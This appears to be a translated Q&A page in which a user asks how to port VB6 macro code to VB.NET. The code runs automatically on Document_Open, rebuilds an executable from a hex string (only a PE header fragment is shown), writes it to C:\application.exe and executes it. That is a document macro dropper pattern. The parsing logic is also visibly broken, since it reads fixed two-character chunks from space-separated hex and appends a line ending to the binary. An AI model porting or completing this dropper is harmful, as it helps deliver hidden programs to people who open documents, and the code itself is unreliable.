0

16進コードからexeファイルを作成できるvb6のこのコードがあります。vb.netで同じことをしたい。

これは私のvb6コードです:

Public Sub Document_Open()

    Dim str As String
    Dim hex As String

    hex = hex & "4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00 B8 00 00 00 00 00 00 00" 
    hex = hex & "40 00 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"

    'you have to put the full hex code of the application here

    Dim exe As String
    Dim i As Long
    Dim puffer As Long

    i = 1

    Do
        str = Mid(hex, i, 2)

        'convert hex to decimal
        puffer = Val("&H" & str)

        'convert decimal to ASCII
        exe = exe & Chr(puffer)

        i = i + 2

        If i >= Len(hex) - 2 Then
            Exit Do
        End If
    Loop

    'write to file
    Open "C:\application.exe" For Append As #2
    Print #2, exe
    Close #2

    'and run the exe
    Dim pid As Integer
    pid = Shell("C:\application.exe", vbNormalFocus)

End Sub
4

1 に答える 1